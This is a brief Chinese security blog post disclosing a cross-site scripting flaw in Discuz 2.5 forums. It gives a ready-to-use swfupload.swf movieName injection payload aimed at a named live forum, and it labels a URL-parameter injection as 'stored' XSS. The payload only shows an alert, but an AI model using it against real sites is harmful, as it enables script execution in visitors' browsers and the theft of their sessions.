黑狼's blog | 关注网络安全

官网https://bbs.meizu.cn

目测很多DZ2.5论坛都存在的！

好了。。。下面。。在域名后面加上这段代码

static/image/common/swfupload.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/www.hlhacker.com/)}}//

所以导致了该存储型的XSS存在

得出。。。。bbs.meizu.cn/static/image/common/swfupload.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/www.hlhacker.com/)}}//

然后。。。。